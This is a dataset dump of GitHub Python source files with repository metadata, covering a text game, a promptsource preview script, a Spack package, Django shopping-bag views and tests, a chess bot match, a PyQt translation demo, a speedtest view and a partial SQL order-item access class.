bug: classes starting after 4:50 with invalid end times will\n # end before they begin.\n","repo_name":"jirassimok/SchedulerTranslator","sub_path":"schedb/period.py","file_name":"period.py","file_ext":"py","file_size_in_byte":4141,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"5704931066","text":"item_id = {\n \"id\": \"id\",\n\n \"name\": \"id card\",\n\n \"description\":\n \"\"\"You new shiny student ID card. Expires 1 June 2017.\nYou wonder why they have printed a suicide hotline number on it?...\"\"\",\n\n \"mass\" : 0.5\n}\n\nitem_laptop = {\n \"id\": \"laptop\",\n\n \"name\": \"laptop\",\n\n \"description\":\n \"It has seen better days. At least it has a WiFi card!\",\n\n \"mass\" : 2\n}\n\nitem_money = {\n \"id\": \"money\",\n\n \"name\": \"money\",\n\n \"description\":\n \"This wad of cash is barely enough to pay your tuition fees.\",\n\n \"mass\" : 0.5\n}\n\nitem_biscuits = {\n \"id\": \"biscuits\",\n\n \"name\": \"a pack of biscuits\",\n\n \"description\": \"A pack of biscuits.\",\n\n \"mass\" : 0.5\n}\n\nitem_pen = {\n \"id\": \"pen\",\n \n \"name\": \"a pen\",\n\n \"description\": \"A basic ballpoint pen.\",\n\n \"mass\" : 0.5\n}\n\nitem_handbook = {\n \"id\": \"handbook\",\n \n \"name\": \"a student handbook\",\n\n \"description\": \"This student handbook explains everything. Seriously.\",\n\n \"mass\" : 1\n}\n\nitem_keys = {\n \"id\": \"keys\",\n \n \"name\": \"a door lock key\",\n\n \"description\": \"This Can be a key to unlock some mysterious door\",\n\n \"mass\" : 0.5\n}\n\nitem_shoes = {\n \"id\": \"shoes\",\n \n \"name\": \"a pair of shoes\",\n\n \"description\": \"Whose shoes they can be.\",\n\n \"mass\" : 0.5\n}\n\nitem_shirt = {\n \"id\": \"shirt\",\n \n \"name\": \"a shirt\",\n\n \"description\": \"It this your shirt?\",\n\n \"mass\" : 0.5\n}\n\nitem_mug = {\n \"id\": \"mug\",\n \n \"name\": \"a mug\",\n\n \"description\": \"It can be a clue to something\",\n\n \"mass\" : 0.5\n}\n\nitem_charger = {\n \"id\": \"charger\",\n \n \"name\": \"a mobile charger\",\n\n \"description\": \"Is this your mobile charger?\",\n\n \"mass\" : 0.5\n}\n\n\n\n","repo_name":"Khushijain30/Python-Action-Game","sub_path":"game_templates_assesment/game2_template/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73473293208","text":"import csv\nfrom typing import List, Optional, Tuple\n\nimport pkg_resources\n\n# from rich import inspect\nfrom rich.pretty import pprint\n\nfrom promptsource.templates import TemplateCollection\n\n\ndef preview() -> None:\n experiment_path = pkg_resources.resource_filename(__name__, \"experiment_D4.csv\")\n gsheet = {}\n d4_train: List[Tuple[str, Optional[str]]] = []\n d4_eval: List[Tuple[str, Optional[str]]] = []\n d3_train_gpt: List[Tuple[str, Optional[str]]] = []\n d3_train_sglue: List[Tuple[str, Optional[str]]] = []\n experiment_path = pkg_resources.resource_filename(__name__, \"experiment_D4.csv\")\n with open(experiment_path) as exp_file:\n reader = csv.DictReader(exp_file)\n for row in reader:\n if row[\"skip\"]:\n continue\n if row[\"subset\"] == \"\":\n row[\"subset\"] = None # to match promptsource.Template object\n dataset_subset = (row[\"HF_name\"], row[\"subset\"])\n if row[\"do_train\"] == \"TRUE\":\n d4_train.append(dataset_subset)\n if row[\"do_eval\"] == \"TRUE\":\n d4_eval.append(dataset_subset)\n if row[\"D3_do_train\"] == \"TRUE\" and \"GPT\" in row[\"seed_paper\"]:\n d3_train_gpt.append(dataset_subset)\n if row[\"D3_do_train\"] == \"TRUE\" and row[\"HF_name\"] == \"super_glue\":\n d3_train_sglue.append(dataset_subset)\n gsheet[dataset_subset] = row\n all_datasets = d4_train + d4_eval + d3_train_gpt + d3_train_sglue\n print(f\"Number of non-desk-rejected datasets = {len(all_datasets)}\")\n print(f\"Number of training sets = {len(d4_train)}\")\n print(f\"Number of evaluation sets = {len(d4_eval)}\")\n\n template_collection = TemplateCollection()\n output = []\n missing_og_flags = []\n missing_metrics = []\n for dataset_name, subset_name in template_collection.keys:\n ds_name = (dataset_name, subset_name)\n if ds_name not in d4_eval:\n template_collection.remove(dataset_name, subset_name)\n continue\n OG = 0\n non_OG = 0\n dataset = template_collection.get_dataset(dataset_name, subset_name)\n for template_name in dataset.all_template_names:\n template = dataset[template_name]\n # if dataset_name == 'ropes':\n # inspect(template.metadata)\n if not template.metadata.metrics:\n missing_metrics.append(f\"{dataset_name}/{subset_name}/{template_name}\")\n\n if template.metadata.original_task is True:\n OG += 1\n elif template.metadata.original_task is False:\n non_OG += 1\n elif template.metadata.original_task is None:\n missing_og_flags.append(dataset_name + \"/\" + template_name)\n continue\n\n train_size = gsheet[ds_name][\"train_size\"]\n if train_size == \"\":\n train_size = 0\n else:\n train_size = int(train_size)\n\n adjusted_train_size = train_size // len(dataset.all_template_names)\n\n output.append(\n (\n f\"{dataset_name} {subset_name if subset_name else ''}\",\n f\"{OG}-{non_OG}\",\n f\"{train_size:,} {adjusted_train_size:,}\",\n )\n )\n\n pprint(output)\n print(len(template_collection))\n\n print(\"Missing metrics:\")\n pprint(missing_metrics)\n\n print(\"Missing original task flags:\")\n pprint(missing_og_flags)\n\n # # print(d4_train_mixture)\n # print(f\"Number of training templates = {len(d4_train_mixture)}\")\n # # print(d4_eval_mixture)\n # print(f\"Number of evaluation templates = {len(d4_eval_mixture)}\")\n # # for i in seqio.TaskRegistry.names():\n # # print(i)\n # print(f\"Number of SeqIO registered templates = {len(seqio.TaskRegistry.names())}\")\n # print(\"^ includes non-original task templates which are excluded from the eval mixture\")\n\n\nif __name__ == \"__main__\":\n preview()\n","repo_name":"zhouj8553/Improving-T0","sub_path":"promptsource/seqio_tasks/preview_promptsource.py","file_name":"preview_promptsource.py","file_ext":"py","file_size_in_byte":3955,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"311274112","text":"import sys\n\nfrom spack.package import *\nimport spack.builder\n\n\nclass HdfEos2(AutotoolsPackage):\n \"\"\"HDF-EOS (Hierarchical Data Format - Earth Observing System) is a\n self-describing file format based upon HDF for standard data products\n that are derived from EOS missions. HDF-EOS2 is based upon HDF4.\n \"\"\"\n\n homepage = \"https://hdfeos.org\"\n # The download URLs are messing, and include sha256 checksum.\n # This is just a template. See version_list and url_for_version below\n # Template for url_for_version. 0 is sha256 checksum, 1 is filename\n url = \"https://git.earthdata.nasa.gov/rest/git-lfs/storage/DAS/hdfeos/{0}?response-content-disposition=attachment%3B%20filename%3D%22{1}%22%3B%20filename*%3Dutf-8%27%27{1}\"\n\n # Crazy URL scheme, differing with each version, and including the\n # sha256 checksum in the URL. Yuck\n # The data in version_list is used to generate versions and urls\n # In basename expansions, 0 is raw version,\n # 1 is for version with dots => underscores\n version_list = [\n {\n \"version\": \"2.20v1.00\",\n \"sha256\": \"cb0f900d2732ab01e51284d6c9e90d0e852d61bba9bce3b43af0430ab5414903\",\n \"basename\": \"HDF-EOS{0}.tar.Z\",\n },\n {\n \"version\": \"2.19b\",\n \"sha256\": \"a69993508dbf5fa6120bac3c906ab26f1ad277348dfc2c891305023cfdf5dc9d\",\n \"basename\": \"hdfeos{1}.zip\",\n },\n ]\n\n for vrec in version_list:\n ver = vrec[\"version\"]\n sha256 = vrec[\"sha256\"]\n version(ver, sha256=sha256)\n\n variant(\n \"shared\", default=True, description=\"Build shared libraries (can be used with +static)\"\n )\n variant(\n \"static\", default=True, description=\"Build static libraries (can be used with +shared)\"\n )\n\n conflicts(\"~static\", when=\"~shared\", msg=\"At least one of +static or +shared must be set\")\n\n # Build dependencies\n depends_on(\"hdf\")\n\n # The standard Makefile.am, etc. add a --single_module flag to LDFLAGS\n # to pass to the linker.\n # That appears to be only recognized by the Darwin linker, remove it\n # if we are not running on darwin/\n if sys.platform != \"darwin\":\n patch(\"hdf-eos2.nondarwin-no-single_module.patch\")\n\n # Fixup permissions\n def do_stage(self):\n super().do_stage()\n which(\"chmod\")(\"-R\",\"u+w\",self.stage.source_path)\n\n def url_for_version(self, version):\n vrec = [x for x in self.version_list if x[\"version\"] == version.dotted.string]\n if vrec:\n fname = vrec[0][\"basename\"].format(version.dotted, version.underscored)\n sha256 = vrec[0][\"sha256\"]\n myurl = self.url.format(sha256, fname)\n return myurl\n else:\n sys.exit(\n \"ERROR: cannot generate URL for version {0};\"\n \"version/checksum not found in version_list\".format(version)\n )\n\n def configure_args(self):\n extra_args = []\n\n # Package really wants h4cc to be used\n extra_args.append(\"CC={0}/bin/h4cc -Df2cFortran -fPIC\".format(self.spec[\"hdf\"].prefix))\n\n # Install headers\n extra_args.append(\"--enable-install-include\")\n\n # We always build PIC code\n extra_args.append(\"--with-pic\")\n\n # Set shared/static appropriately\n extra_args.extend(self.enable_or_disable(\"shared\"))\n extra_args.extend(self.enable_or_disable(\"static\"))\n\n # Provide config args for dependencies\n extra_args.append(\"--with-hdf4={0}\".format(self.spec[\"hdf\"].prefix))\n if \"jpeg\" in self.spec:\n extra_args.append(\"--with-jpeg={0}\".format(self.spec[\"jpeg\"].prefix))\n if \"libszip\" in self.spec:\n extra_args.append(\"--with-szlib={0}\".format(self.spec[\"libszip\"].prefix))\n if \"zlib\" in self.spec:\n extra_args.append(\"--with-zlib={0}\".format(self.spec[\"zlib\"].prefix))\n\n return extra_args\n","repo_name":"ScottWales/spack-environments","sub_path":"repos/bom-ngm/packages/hdf-eos2/package.py","file_name":"package.py","file_ext":"py","file_size_in_byte":3926,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"22944482191","text":"from collections import OrderedDict\n\nimport isbcgc_cloudsql_model\n\nclass ISBCGC_database_helper(isbcgc_cloudsql_model.ISBCGC_database_helper):\n \"\"\"\n this class manages the cloud sql metadata annotation upload\n \"\"\"\n metadata_annotation = {\n 'table_name': 'metadata_annotation',\n 'primary_key_name': 'metadata_annotation_id',\n\n 'columns': [\n ['annotationId', 'INTEGER', 'NOT NULL'],\n ['annotationCategoryId', 'INTEGER', 'NOT NULL'],\n ['annotationCategoryName', 'VARCHAR(100)', 'NOT NULL'],\n ['annotationClassificationId', 'INTEGER', 'NOT NULL'],\n ['annotationClassification', 'VARCHAR(30)', 'NOT NULL'],\n ['annotationNoteText', 'VARCHAR(700)', 'NULL'],\n ['Study', 'VARCHAR(4)', 'NOT NULL'],\n ['itemTypeId', 'INTEGER', 'NOT NULL'],\n ['itemTypeName', 'VARCHAR(20)', 'NOT NULL'],\n ['itemBarcode', 'VARCHAR(28)', 'NOT NULL'],\n ['AliquotBarcode', 'VARCHAR(28)', 'NULL'],\n ['ParticipantBarcode', 'VARCHAR(12)', 'NOT NULL'],\n ['SampleBarcode', 'VARCHAR(16)', 'NULL'],\n ['dateAdded', 'DATETIME', 'NULL'],\n ['dateCreated', 'DATETIME', 'NOT NULL'],\n ['dateEdited', 'DATETIME', 'NULL'],\n ],\n\n 'indices_defs': [\n ['annotationId'],\n ['annotationCategoryId'],\n ['annotationCategoryName'],\n ['annotationClassificationId'],\n ['annotationClassification'],\n ['Study'],\n ['itemTypeId'],\n ['itemBarcode'],\n ['AliquotBarcode'],\n ['ParticipantBarcode'],\n ['SampleBarcode'],\n ]\n }\n\n metadata_tables = OrderedDict(\n [\n ('metadata_annotation', metadata_annotation)\n ]\n )\n\n @classmethod\n def initialize(cls, config, log):\n cls.setup_tables(config, log)\n","repo_name":"isb-cgc/ISB-CGC-data-proc","sub_path":"data_upload/model/isbcgc_cloudsql_annotation_model.py","file_name":"isbcgc_cloudsql_annotation_model.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"13466641008","text":"\"\"\"\nImports from django to use\nin views\n\"\"\"\n\nfrom django.shortcuts import render, redirect, reverse, HttpResponse, get_object_or_404\nfrom django.contrib import messages\n\nfrom products.models import Product\n\n\ndef error_403_view(request, exception):\n '''403 error view'''\n return render(request, '403.html', status=403)\n\n\ndef error_404_view(request, exception):\n '''404 error view'''\n return render(request, '404.html', status=404)\n\n\ndef error_500_view(request):\n \"\"\"\n 404 error view\n \"\"\"\n return render(request, '500.html', status=500)\n\n\ndef view_bag(request):\n\n \"\"\"\n A view to return the bag page\n \"\"\"\n\n return render(request, 'bag/bag.html')\n\n\ndef add_to_bag(request, item_id):\n\n \"\"\"\n Add a quantity of products to the users\n shopping bags and store in the session.\n Product required for messages.\n \"\"\"\n product = get_object_or_404(Product, pk=item_id)\n quantity = int(request.POST.get('quantity'))\n redirect_url = request.POST.get('redirect_url')\n bag = request.session.get('bag', {})\n\n if item_id in list(bag.keys()):\n bag[item_id] += quantity\n messages.success(request, f'Updated {product.name} quantity to bag {bag[item_id]}')\n else:\n bag[item_id] = quantity\n messages.success(request, f'Added {product.name} to bag')\n\n request.session['bag'] = bag\n return redirect(redirect_url)\n\n\ndef adjust_bag(request, item_id):\n \"\"\" Adjust item's quantity in bag \"\"\"\n\n product = get_object_or_404(Product, pk=item_id)\n quantity = int(request.POST.get('quantity') or 1)\n bag = request.session.get('bag', {})\n\n if quantity > 0:\n bag[item_id] = quantity\n messages.success(request, f'Updated {product.name} in bag')\n elif quantity > 0:\n del bag[item_id]\n if not bag[item_id]:\n bag.pop(item_id)\n else:\n bag.pop(item_id)\n messages.success(request, f'Removed {product.name} from bag')\n\n request.session['bag'] = bag\n return redirect(reverse('view_bag'))\n\n\ndef remove_item(request, item_id):\n \"\"\" Remove item's quantity in bag \"\"\"\n product = get_object_or_404(Product, pk=item_id)\n bag = request.session.get('bag', {})\n bag.pop(item_id)\n messages.success(request, f'Removed {product.name} from bag')\n\n request.session['bag'] = bag\n return HttpResponse(status=200)\n","repo_name":"darco31/get_a_grape","sub_path":"bag/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13704759813","text":"from model import Model\nimport chess.pgn\nimport chess\nimport os\nimport random\n\nclass fight:\n def __init__(self, name1, name2):\n self.model_1 = Model(name1)\n self.model_2 = Model(name2)\n self.name1 = name1\n self.name2 = name2\n \n def play_game(self, range=3):\n board = chess.Board()\n pos = 0\n while board.is_checkmate() != True and board.can_claim_threefold_repetition() != True and board.can_claim_draw() != True:\n print(f'pos = {pos}')\n bot_1 = self.model_1.getMove(board, best_range=range)\n board.push(chess.Move.from_uci(bot_1))\n bot_2 = self.model_1.getMove(board, best_range=range)\n board.push(chess.Move.from_uci(bot_2))\n pos += 1\n \n game = chess.pgn.Game()\n node = game\n for move in board.move_stack:\n node = node.add_variation(move)\n\n with open(f'tournament/{self.name1}-{self.name2}-{random.randint(1, 10000)}.pgn', 'w') as file:\n file.write(str(game))\n \n if board.result() == '1-0':\n return 1\n elif board.result() == '0-1':\n return 0\n else:\n return 0.5\n","repo_name":"Dragon267/EmutatingChessPlayersPlay","sub_path":"MadDog copy/play_game.py","file_name":"play_game.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37196096718","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# 예제 내용\n# i18n 을 위한 예제\n# 창의 기본 이름이 Hello World지만 한국어 사용일 경우 안녕 세계가 뜨로록 한다.\n# * '창 이름'을 변경한다.\n\nimport sys\n\nfrom PyQt5.QtWidgets import QWidget\nfrom PyQt5.QtWidgets import QApplication\nfrom PyQt5.QtCore import QTranslator\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtCore import QEvent\nfrom PyQt5.QtCore import QLocale\n\nfrom PyQt5.QtWidgets import QLabel\nfrom PyQt5.QtWidgets import QComboBox\nfrom PyQt5.QtWidgets import QBoxLayout\n\nfrom PyQt5.QtCore import pyqtSlot\n\n__author__ = \"Deokyu Lim \"\n\n\nclass Form(QWidget):\n\tI18N = [\n\t\t[\"English\", \"translate\\en_US.qm\"],\n\t\t[\"한국어\", \"translate\\ko_KR.qm\"],\n\t\t[\"日本語\", \"translate\\ja_JP.qm\"]\n\t]\n\tdef __init__(self):\n\t\tQWidget.__init__(self, flags=Qt.Window)\n\t\tself.setMinimumWidth(330)\n\t\tself.lb = QLabel()\n\t\tself.qb = QComboBox()\n\t\tself.qb.addItems([n[0] for n in self.I18N]) # 콤보 박스에 지원하는 언어 삽입\n\t\tself.init_widget()\n\n\tdef init_widget(self):\n\t\tself.setWindowTitle(\"{} - {}\".format(self.tr(\"Hello World\"), self.tr(\"English\")))\n\n\t\tform_lbx = QBoxLayout(QBoxLayout.TopToBottom, parent=self)\n\t\tself.setLayout(form_lbx)\n\n\t\tself.lb.setText(self.tr(\"Good Morning\"))\n\t\tself.lb.setStyleSheet(\"font-size: 30px\")\n\t\tself.qb.currentIndexChanged.connect(self.change_locale) # 콤보박스의 선택된 내용이 바뀌면 시그널\n\n\t\tform_lbx.addWidget(self.qb)\n\t\tform_lbx.addWidget(self.lb)\n\n\t@pyqtSlot(int)\n\tdef change_locale(self, idx):\n\t\tglobal translator\n\t\tglobal app\n\n\t\t# 번역스크립트 교체\n\t\tapp.removeTranslator(translator)\n\t\tt = self.I18N[idx][1]\n\t\ttranslator.load(t)\n\t\tapp.installTranslator(translator)\n\t\tself.init_widget()\n\n\nif __name__ == \"__main__\":\n\tapp = QApplication(sys.argv)\n\n\t# 다국어 지원\n\ttranslator = QTranslator()\n\ttranslator.load(\"translate\\en_US.qm\")\n\tapp.installTranslator(translator)\n\n\tform = Form()\n\tform.show()\n\n\texit(app.exec_())","repo_name":"RavenKyu/OpenTutorials_PyQt","sub_path":"QtFramework/Qt/Internationalization/i18n_02/i18n_02.py","file_name":"i18n_02.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"ko","doc_type":"code","stars":109,"dataset":"github-code","pt":"31"} +{"seq_id":"13938071583","text":"from django.test import TestCase\nfrom django.urls import reverse, reverse_lazy\nfrom task_manager.users.models import ProjectUsers\nfrom task_manager.labels.models import Labels\nfrom task_manager.tasks.models import Tasks\n\n\nclass TestLabels(TestCase):\n\n fixtures = ['users.yaml',\n 'tasks.yaml',\n 'statuses.yaml',\n 'labels.yaml']\n\n @classmethod\n def setUpTestData(cls):\n\n cls.user = ProjectUsers.objects.get(pk=1)\n cls.first_task = Tasks.objects.get(pk=12)\n cls.first_label = Labels.objects.get(pk=1)\n cls.second_label = Labels.objects.get(pk=8)\n cls.third_label = Labels.objects.get(pk=3)\n\n def test_create_label(self):\n \"\"\"Тест корректного создания метки.\"\"\"\n\n self.client.force_login(self.user)\n response = self.client.post(\n reverse('create_label'),\n {\"name\": \"pig\"},\n follow=True\n )\n\n self.assertEqual(response.status_code, 200)\n self.assertEqual(Labels.objects.count(), 4)\n self.assertTrue(Labels.objects.filter(name='pig').exists())\n self.assertRedirects(response, '/labels/')\n\n def test_update_label(self):\n \"\"\"Тест корректного изменения метки.\"\"\"\n\n self.client.force_login(self.user)\n url = reverse('update_label', args=(self.first_label.id, ))\n response = self.client.post(url, {\"name\": \"question\"}, follow=True)\n\n self.assertRedirects(response, '/labels/')\n self.assertTrue(Labels.objects.filter(name='question').exists())\n\n def test_dalete_label(self):\n \"\"\"Тест удаления метки.\"\"\"\n\n self.client.force_login(self.user)\n url = reverse('delete_label', args=(self.second_label.pk, ))\n response = self.client.post(url, follow=True)\n\n self.assertEqual(Labels.objects.count(), 2)\n self.assertRedirects(response, '/labels/')\n\n def test_list_of_all_labels(self):\n \"\"\"Тест получения списка всех меток.\"\"\"\n\n self.client.force_login(self.user)\n response = self.client.get(reverse('list_of_labels'))\n\n self.assertEqual(response.status_code, 200)\n self.assertQuerysetEqual(\n list(response.context['labels_list']),\n [self.first_label, self.third_label, self.second_label]\n )\n\n def test_an_unsecured_user_tries_to_view_the_label(self):\n \"\"\"Тест незалогиненный пользователь пытается посмотреть метку.\"\"\"\n\n response = self.client.get(reverse('list_of_labels'))\n\n self.assertRedirects(response, '/login/')\n\n def test_delete_the_label_whose_task_is_marked(self):\n \"\"\"Тест попытка удалить метку действующей задачи.\"\"\"\n\n self.client.force_login(self.user)\n response = self.client.post(\n reverse_lazy('delete_label', args=(self.third_label.pk, )),\n follow=True\n )\n\n self.assertRedirects(response, '/labels/')\n self.assertEqual(Labels.objects.count(), 3)\n self.assertTrue(Labels.objects.filter(name='bug').exists())\n","repo_name":"Alexander86-N/python-project-52","sub_path":"task_manager/labels/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12941367492","text":"nombre= \"mi nombre\"\r\ndef saludar():\r\n #variable global\r\n global var1\r\n var1=\"soy una variable global\"\r\n nombre= \"mi nombre\"\r\n edad= 20\r\n return \"Hola desde la funcion saludar \" + nombre + \" \" + str(edad)\r\n\r\nvalorDelReturn= saludar()\r\nprint(\"Mostrando valor de retorno desde una variable: \", valorDelReturn)\r\nprint(saludar())","repo_name":"TimboAG/Python","sub_path":"funcionesConRetorno.py","file_name":"funcionesConRetorno.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28649700327","text":"import csv\nimport json\n\nelection_data = csv.reader(open(\"../web/data/elections.csv\"), delimiter = '|')\n\nchecker = {}\nfor row in election_data:\n\n if row[3] == 'B. Obama (i)':\n checker[row[1].strip()] = row[5].strip('%')\n\nchecker['Autugua'] = checker['Autauga']\n\nf = open('../web/data/us-counties.json','r')\njson_data = json.load(f)\nf.close()\nfeatures = json_data['features']\n\nfor county in features:\n try:\n county['properties']['percent'] = checker[county['properties']['name']]\n except KeyError:\n county['properties']['percent'] = '50'\n\n\n\nf = open('../web/data/election.json','w')\n\njson.dump(json_data, f)\n\n\n \n\n","repo_name":"ahwolf/d3_tutorial","sub_path":"code/merge_county_election.py","file_name":"merge_county_election.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"23407501038","text":"# %% markdown\r\n# This module is to exctract data from the stackoverflow's csv, in order to be used in the matplotlib tutorial.\r\n# %% codecell\r\nimport pandas as pd\r\n# %% codecell\r\ndf = pd.read_csv(r'D:\\GBXXI\\PROGRAMMING\\GB Python\\Corey Schafer_Tutorials\\Libraries\\Pandas\\developer_survey_2019\\survey_results_public.csv', index_col='Respondent')\r\n# %% codecell\r\ndf.shape\r\n# %% codecell\r\npd.set_option('display.max_columns', 85)\r\n# %% codecell\r\ndf.head(3)\r\n# %% codecell\r\nlg_df = df['LanguageWorkedWith']\r\nlg_df\r\n# %% markdown\r\n# Getting our current directory and creating the appropriate path for saving the CSV file\r\n# %% codecell\r\nimport os\r\ndrcr = os.getcwd()\r\n\r\nc_path = os.path.join(drcr, 'Corey Schafer_Tutorials\\Libraries\\MatplotLib\\Exct_Data.csv')\r\nc_path\r\n# %% codecell\r\nlg_df.to_csv(c_path)\r\n\r\n# %% codecell\r\ndf = pd.read_csv(r'D:\\GBXXI\\PROGRAMMING\\GB Python\\Corey Schafer_Tutorials\\Libraries\\Pandas\\developer_survey_2019\\survey_results_public.csv')\r\n\r\ngrp_age = df.groupby(['Age'])\r\ngrp_age['CompTotal'].value_counts()\r\ngrp_age.describe(include=['object'])\r\nall_devs = grp_age['ConvertedComp'].median()\r\nall_devs\r\n","repo_name":"GBXXI/Corey-Schafer_Tutorials","sub_path":"Libraries/MatplotLib/Data_exctraction.py","file_name":"Data_exctraction.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"10679793033","text":"import random\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\n# Create your views here.\nimport speedtest\nimport json\n\ndef speed_test():\n servers = [5243, 7575, 3783, 6883, 5354, 3402]\n threads = None\n s = speedtest.Speedtest()\n\n try:\n s.get_servers(servers)\n\n except Exception as e:\n return json.dumps({'status': 'error', 'message': 'An error occured. Please, try later'}, separators=(',', ':'))\n\n s.get_best_server()\n s.download(threads=threads)\n s.upload(threads=threads)\n s.results.share()\n\n results_dict = s.results.dict()\n\n result = json.dumps({\n 'status': 'success',\n 'download': f\"{results_dict['download'] / 1024 / 1024:.2f}\",\n 'upload': f\"{results_dict['upload'] / 1024 / 1024:.2f}\",\n 'ping': f\"{results_dict['ping']:.2f}\"\n }, separators=(',', ':'))\n\n return result\n\n\ndef hello_world(request):\n result = random.randint(1, 100)\n return HttpResponse(f\"{speed_test()}\")\n","repo_name":"Somonasoz/speed_test_77","sub_path":"src/hello_world/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36180051527","text":"from database.database_helper import DatabaseHelper\nfrom utils.string_utils import StringUtils\nfrom utils.exception_utils import ExceptionUtils\n\n\nclass OrderItemDao(object):\n\n def createTable(self):\n query = '''CREATE TABLE IF NOT EXISTS order_item(\n id INT AUTO_INCREMENT primary key NOT NULL,\n order_item_id BIGINT,\n shop_id VARCHAR(100),\n order_id INTEGER,\n name VARCHAR(300),\n seller_sku VARCHAR(300),\n shop_sku VARCHAR(300),\n shipping_type VARCHAR(100),\n item_price DECIMAL(10,2),\n paid_price DECIMAL(10,2),\n currency VARCHAR(50),\n wallet_credit INTEGER,\n tax_amount INTEGER,\n shipping_amount DECIMAL(10,2),\n shipping_service_cost DECIMAL(10,2),\n voucher_amount DECIMAL(10,2),\n voucher_code VARCHAR(100),\n status VARCHAR(100),\n shipment_provider VARCHAR(100),\n is_digital INTEGER,\n digital_delivery_info VARCHAR(300),\n tracking_code VARCHAR(100),\n tracking_code_pre VARCHAR(100),\n reason VARCHAR(300),\n reason_detail TEXT,\n purchase_order_id VARCHAR(100),\n purchase_order_number VARCHAR(100),\n package_id VARCHAR(100),\n promised_shipping_time VARCHAR(100),\n extra_attributes VARCHAR(300),\n shipping_provider_type VARCHAR(100),\n created_at DATETIME,\n updated_at DATETIME,\n return_status VARCHAR(300),\n product_main_image VARCHAR(500),\n variation VARCHAR(300),\n product_detail_url VARCHAR(500),\n invoice_number VARCHAR(100),\n user_id INTEGER,\n earned DECIMAL(10,2) DEFAULT 0,\n original_price DECIMAL(10,2) DEFAULT 0,\n actual_paid_price DECIMAL(10,2) DEFAULT 0\n );'''\n DatabaseHelper.execute(query)\n\n # --------------------------------------------------------------------------\n # Insert OrderItem\n # NOTE: Using only for GetOrderCronJob\n # --------------------------------------------------------------------------\n def insert(self, user, orderItem):\n query = '''INSERT INTO order_item(order_item_id, shop_id, order_id, name,\n seller_sku, shop_sku, shipping_type, item_price, paid_price,\n currency, wallet_credit, tax_amount, shipping_service_cost,\n shipping_amount, voucher_amount, voucher_code, status, shipment_provider,\n is_digital, digital_delivery_info, tracking_code, tracking_code_pre,\n reason, reason_detail, purchase_order_id, purchase_order_number,\n package_id, promised_shipping_time, extra_attributes,\n shipping_provider_type, created_at, updated_at, return_status,\n product_main_image, variation, product_detail_url, invoice_number,\n user_id)\n VALUES ('{}', '{}', '{}', \"{}\", \"{}\", '{}', '{}', '{}', '{}', '{}',\n '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}',\n '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}',\n '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}')\n '''.format(orderItem['order_item_id'], orderItem['shop_id'], orderItem['order_id'],\n orderItem['name'], orderItem['seller_sku'], orderItem['shop_sku'],\n orderItem['shipping_type'], orderItem['item_price'], orderItem['paid_price'],\n orderItem['currency'], orderItem['wallet_credit'], orderItem['tax_amount'],\n orderItem['shipping_service_cost'], orderItem['shipping_amount'],\n orderItem['voucher_amount'], orderItem['voucher_code'],\n orderItem['status'], orderItem['shipment_provider'], orderItem['is_digital'],\n orderItem['digital_delivery_info'], orderItem['tracking_code'], orderItem['tracking_code_pre'],\n orderItem['reason'], orderItem['reason_detail'], orderItem['purchase_order_id'],\n orderItem['purchase_order_number'], orderItem['package_id'], orderItem['promised_shipping_time'],\n orderItem['extra_attributes'], orderItem['shipping_provider_type'], orderItem['created_at'],\n orderItem['updated_at'], orderItem['return_status'], orderItem['product_main_image'],\n orderItem['variation'], orderItem['product_detail_url'], orderItem['invoice_number'],\n user['id'])\n try:\n result, ex = DatabaseHelper.execute(query)\n if (result == True):\n return None, None\n else:\n return None, '''User: {}-{}, Insert-Order-Item: {}'''.format(user['username'], user['id'], str(ex))\n except Exception as ex:\n return '''User: {}-{}, Insert-Order-Item: {}'''.format(user['username'], user['id'], str(ex))\n\n # --------------------------------------------------------------------------\n # Update OrderItem\n # NOTE: Using only for GetOrderCronJob\n # --------------------------------------------------------------------------\n def update(self, user, orderItem):\n query = '''UPDATE order_item\n SET shop_id = %s, name = %s, seller_sku = %s, shop_sku = %s,\n shipping_type = %s, item_price = %s, paid_price = %s,\n currency = %s, wallet_credit = %s, tax_amount = %s,\n shipping_service_cost = %s, shipping_amount = %s,\n voucher_amount = %s, voucher_code = %s, status = %s,\n shipment_provider = %s, is_digital = %s,\n digital_delivery_info = %s, tracking_code = %s,\n tracking_code_pre = %s, reason = %s, reason_detail = %s,\n purchase_order_id = %s, purchase_order_number = %s,\n package_id = %s, promised_shipping_time = %s,\n extra_attributes = %s, shipping_provider_type = %s,\n created_at = %s, updated_at = %s, return_status = %s,\n product_main_image = %s, variation = %s,\n 